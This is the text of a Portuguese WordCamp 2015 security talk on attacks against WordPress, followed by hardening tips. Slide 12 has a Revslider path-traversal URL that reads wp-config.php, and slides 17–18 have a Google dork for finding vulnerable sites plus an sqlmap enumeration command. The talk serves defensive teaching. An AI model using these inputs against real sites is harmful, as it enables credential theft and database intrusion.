26
WordPress Vs Hackers A Rebelião das Máquinas

Palestra - WordCamp Belo Horizonte 2015 - WordCamp Belo Horizonte 2015 - Hackers vs WordPress – A Rebelião das Máquinas

  • Upload
    as-zone

  • View
    126

  • Download
    0

Embed Size (px)

Citation preview

Page 1: Palestra - WordCamp Belo Horizonte 2015 - WordCamp Belo Horizonte 2015 - Hackers vs WordPress – A Rebelião das Máquinas

WordPress Vs HackersA Rebelião das Máquinas

Page 2: Palestra - WordCamp Belo Horizonte 2015 - WordCamp Belo Horizonte 2015 - Hackers vs WordPress – A Rebelião das Máquinas

Quem somos

Thiago Lenon

Page 3: Palestra - WordCamp Belo Horizonte 2015 - WordCamp Belo Horizonte 2015 - Hackers vs WordPress – A Rebelião das Máquinas

O “Canive Suiço”

=

Page 4: Palestra - WordCamp Belo Horizonte 2015 - WordCamp Belo Horizonte 2015 - Hackers vs WordPress – A Rebelião das Máquinas

Diversas facetas

Page 5: Palestra - WordCamp Belo Horizonte 2015 - WordCamp Belo Horizonte 2015 - Hackers vs WordPress – A Rebelião das Máquinas

Hackers vs WordPress

Page 6: Palestra - WordCamp Belo Horizonte 2015 - WordCamp Belo Horizonte 2015 - Hackers vs WordPress – A Rebelião das Máquinas

Momento “Reflexão”

“O problema com os programadores é que você nunca consegue saber o que eles estão fazendo antes de ser tarde demais.”Seymour Cray

“Quanto maior facilidade, maior a probabilidade para o desenvolvedor fazer cagada.”Pensador desconhecido

Page 7: Palestra - WordCamp Belo Horizonte 2015 - WordCamp Belo Horizonte 2015 - Hackers vs WordPress – A Rebelião das Máquinas

Cruel realidade

Fonte https://wappalyzer.com/categories/cms (01/06/2015)

CMS mais utilizados

Page 8: Palestra - WordCamp Belo Horizonte 2015 - WordCamp Belo Horizonte 2015 - Hackers vs WordPress – A Rebelião das Máquinas

Cruel realidadeVulnerabilidades por Ano

Fonte http://www.cvedetails.com/vendor/2337/Wordpress.html: (01/06/2015)

Page 9: Palestra - WordCamp Belo Horizonte 2015 - WordCamp Belo Horizonte 2015 - Hackers vs WordPress – A Rebelião das Máquinas

Cruel realidade

Fonte http://www.cvedetails.com/vendor/2337/Wordpress.html: (01/06/2015)

Tipos de Vulnerabilidades

Page 10: Palestra - WordCamp Belo Horizonte 2015 - WordCamp Belo Horizonte 2015 - Hackers vs WordPress – A Rebelião das Máquinas

Em qualquer lugar a qualquer hora

http://www.aszone.com.br/2015/06/list-of-potentially-affected-themes-wordpress/

Page 11: Palestra - WordCamp Belo Horizonte 2015 - WordCamp Belo Horizonte 2015 - Hackers vs WordPress – A Rebelião das Máquinas

Hackers vs WordPress

Page 12: Palestra - WordCamp Belo Horizonte 2015 - WordCamp Belo Horizonte 2015 - Hackers vs WordPress – A Rebelião das Máquinas

Local File Download

Exploit Revslider em ação.LFD = Local File Download, explicar o que é, o que acontece no código.● http://wordpress.local/wp-admin/admin-ajax.php?

action=revslider_show_image&img=/uploads/2015/06/wordpress-camp.jpg

● http://wordpress.local/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php

Page 13: Palestra - WordCamp Belo Horizonte 2015 - WordCamp Belo Horizonte 2015 - Hackers vs WordPress – A Rebelião das Máquinas

Local File Download

Onde está o PROBLEMA ?

Page 14: Palestra - WordCamp Belo Horizonte 2015 - WordCamp Belo Horizonte 2015 - Hackers vs WordPress – A Rebelião das Máquinas

Local File Download

Page 15: Palestra - WordCamp Belo Horizonte 2015 - WordCamp Belo Horizonte 2015 - Hackers vs WordPress – A Rebelião das Máquinas

Local File Download

Page 16: Palestra - WordCamp Belo Horizonte 2015 - WordCamp Belo Horizonte 2015 - Hackers vs WordPress – A Rebelião das Máquinas

Sql Injection

Page 17: Palestra - WordCamp Belo Horizonte 2015 - WordCamp Belo Horizonte 2015 - Hackers vs WordPress – A Rebelião das Máquinas

Sql Injection

!passo

Dork: inurl:season=*league_id=*matchday

https://google.com/search?q=inurl%3Aseason%3D*league_id%3D*match_day

Page 18: Palestra - WordCamp Belo Horizonte 2015 - WordCamp Belo Horizonte 2015 - Hackers vs WordPress – A Rebelião das Máquinas

Sql Injection

python sqlmap.py -u "http://localhost/wordpress/?season=1&league_id=1&match_day=1&team_id=1" --dbs

Page 19: Palestra - WordCamp Belo Horizonte 2015 - WordCamp Belo Horizonte 2015 - Hackers vs WordPress – A Rebelião das Máquinas

Sql Injection

Page 20: Palestra - WordCamp Belo Horizonte 2015 - WordCamp Belo Horizonte 2015 - Hackers vs WordPress – A Rebelião das Máquinas

Sql InjectionOnde está o PROBLEMA ?

Page 21: Palestra - WordCamp Belo Horizonte 2015 - WordCamp Belo Horizonte 2015 - Hackers vs WordPress – A Rebelião das Máquinas

Sql Injection

Page 22: Palestra - WordCamp Belo Horizonte 2015 - WordCamp Belo Horizonte 2015 - Hackers vs WordPress – A Rebelião das Máquinas

Hackers vs WordPress

Page 23: Palestra - WordCamp Belo Horizonte 2015 - WordCamp Belo Horizonte 2015 - Hackers vs WordPress – A Rebelião das Máquinas

Dicas para sobrevivênciaDurante desenvolvimento● Siga os padrões de criação de temas e plugins do WordPress;● Implemente testes unitários;● Pratique "Par Programming";● Pratique "Code Review";● Pentest em ciclos evolutivos;● Metodologia de desenvolvimento seguro;

Page 24: Palestra - WordCamp Belo Horizonte 2015 - WordCamp Belo Horizonte 2015 - Hackers vs WordPress – A Rebelião das Máquinas

Dicas para sobrevivênciaWordPress● Alteração do nome do usuário “admin” e senhas HARDCORE;● Não instalar vários plugins de segurança;● Antes de instalar pesquise sobre os plugins e temas;● Modo Debug false; ● Manter o core, temas e plugins atualizados;● Desabilitar a função de edição dos temas e plugins;● Bloquear Brute force e visualização de pastas;● Utilizar robots.txt ;● Usar as constantes no wp-config:

WP_CONTENT_DIR, WP_PLUGIN_DIR, UPLOADS, WP_AUTO_UPDATE_CORE, WP_HTTP_BLOCK_EXTERNAL

Page 25: Palestra - WordCamp Belo Horizonte 2015 - WordCamp Belo Horizonte 2015 - Hackers vs WordPress – A Rebelião das Máquinas

Dicas para sobrevivênciaInfraestrutura e Segurança● Prepração de infra;● Uso de ferramentas de vulnerabilidades;

○ Use WpScan;○ Use Accunetix;○ Use Metaexploit;

● Alterar e bloquear o wp-admin/;● Criar subdomínio para ambiente administrativo;

Page 26: Palestra - WordCamp Belo Horizonte 2015 - WordCamp Belo Horizonte 2015 - Hackers vs WordPress – A Rebelião das Máquinas

Obrigado !!!

@thiagodieb

@lenonleite

http://www.aszone.com.br